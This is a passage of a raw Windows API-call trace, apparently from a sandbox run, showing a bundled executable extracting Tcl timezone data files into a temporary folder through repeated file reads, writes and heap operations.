HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.063] CloseHandle (hObject=0x10c) returned 1 [0043.063] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.063] htonl (hostlong=0x30000000) returned 0x30 [0043.063] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.063] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.063] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.063] GetFileType (hFile=0x10c) returned 0x1 [0043.063] htonl (hostlong=0x9aee5c00) returned 0x5cee9a [0043.063] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x619e9a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.063] htonl (hostlong=0x85000000) returned 0x85 [0043.063] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x85) returned 0x55cfe0 [0043.063] htonl (hostlong=0x85000000) returned 0x85 [0043.063] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.063] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.063] htonl (hostlong=0xa6000000) returned 0xa6 [0043.063] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa6) returned 0x544830 [0043.064] htonl (hostlong=0x85000000) returned 0x85 [0043.064] htonl (hostlong=0xa6000000) returned 0xa6 [0043.064] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.064] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.064] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.064] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.064] CloseHandle (hObject=0x10c) returned 1 [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.064] GetFileType (hFile=0x10c) returned 0x1 [0043.064] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.064] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.064] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.064] CloseHandle (hObject=0x10c) returned 1 [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.065] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.065] GetFileType (hFile=0x10c) returned 0x1 [0043.065] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.065] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.065] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.065] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.065] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.065] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.065] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.065] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.065] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.065] CloseHandle (hObject=0x10c) returned 1 [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PRC") returned 60 [0043.065] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PRC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\prc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.065] GetLastError () returned 0x2 [0043.065] SetLastError (dwErrCode=0x2) [0043.065] GetLastError () returned 0x2 [0043.065] SetLastError (dwErrCode=0x2) [0043.065] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PRC", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PRC", lpFilePart=0x0) returned 0x3b [0043.065] GetLastError () returned 0x2 [0043.065] SetLastError (dwErrCode=0x2) [0043.065] GetLastError () returned 0x2 [0043.065] SetLastError (dwErrCode=0x2) [0043.065] GetLastError () returned 0x2 [0043.066] SetLastError (dwErrCode=0x2) [0043.066] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PRC") returned 60 [0043.066] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.066] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PRC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\prc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.066] GetFileType (hFile=0x10c) returned 0x1 [0043.067] htonl (hostlong=0xa6000000) returned 0xa6 [0043.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.067] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa6, lpOverlapped=0x0) returned 1 [0043.067] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.067] CloseHandle (hObject=0x10c) returned 1 [0043.068] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544830 | out: hHeap=0x530000) returned 1 [0043.068] htonl (hostlong=0x30000000) returned 0x30 [0043.068] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.068] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.068] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.068] GetFileType (hFile=0x10c) returned 0x1 [0043.068] htonl (hostlong=0x1fef5c00) returned 0x5cef1f [0043.068] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x619f1f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.068] htonl (hostlong=0x2f060000) returned 0x62f [0043.068] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x62f) returned 0x550600 [0043.068] htonl (hostlong=0x2f060000) returned 0x62f [0043.068] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.068] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.068] htonl (hostlong=0x23200000) returned 0x2023 [0043.068] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2023) returned 0x561090 [0043.068] htonl (hostlong=0x2f060000) returned 0x62f [0043.068] htonl (hostlong=0x23200000) returned 0x2023 [0043.068] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5630c0 [0043.068] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630c0 | out: hHeap=0x530000) returned 1 [0043.068] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.068] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.068] CloseHandle (hObject=0x10c) returned 1 [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.069] GetFileType (hFile=0x10c) returned 0x1 [0043.069] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.069] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.069] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.069] CloseHandle (hObject=0x10c) returned 1 [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.069] GetFileType (hFile=0x10c) returned 0x1 [0043.069] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.069] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.070] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.070] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.070] CloseHandle (hObject=0x10c) returned 1 [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PST8PDT") returned 64 [0043.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PST8PDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pst8pdt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.070] GetLastError () returned 0x2 [0043.070] SetLastError (dwErrCode=0x2) [0043.070] GetLastError () returned 0x2 [0043.070] SetLastError (dwErrCode=0x2) [0043.070] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PST8PDT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PST8PDT", lpFilePart=0x0) returned 0x3f [0043.070] GetLastError () returned 0x2 [0043.070] SetLastError (dwErrCode=0x2) [0043.070] GetLastError () returned 0x2 [0043.070] SetLastError (dwErrCode=0x2) [0043.070] GetLastError () returned 0x2 [0043.070] SetLastError (dwErrCode=0x2) [0043.070] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PST8PDT") returned 64 [0043.070] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\PST8PDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pst8pdt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.071] GetFileType (hFile=0x10c) returned 0x1 [0043.071] htonl (hostlong=0x23200000) returned 0x2023 [0043.071] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0043.072] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.072] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x23, lpOverlapped=0x0) returned 1 [0043.072] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.072] CloseHandle (hObject=0x10c) returned 1 [0043.072] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.072] htonl (hostlong=0x30000000) returned 0x30 [0043.072] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.072] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.072] GetFileType (hFile=0x10c) returned 0x1 [0043.073] htonl (hostlong=0x4ef55c00) returned 0x5cf54e [0043.073] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61a54e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.073] htonl (hostlong=0x82040000) returned 0x482 [0043.073] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x482) returned 0x550600 [0043.073] htonl (hostlong=0x82040000) returned 0x482 [0043.073] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.073] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.073] htonl (hostlong=0x91150000) returned 0x1591 [0043.073] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1591) returned 0x561090 [0043.073] htonl (hostlong=0x82040000) returned 0x482 [0043.073] htonl (hostlong=0x91150000) returned 0x1591 [0043.073] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562630 [0043.073] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562630 | out: hHeap=0x530000) returned 1 [0043.073] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.073] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.073] CloseHandle (hObject=0x10c) returned 1 [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.073] GetFileType (hFile=0x10c) returned 0x1 [0043.073] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.073] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.073] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.074] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.074] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.074] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.074] CloseHandle (hObject=0x10c) returned 1 [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.074] GetFileType (hFile=0x10c) returned 0x1 [0043.074] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: 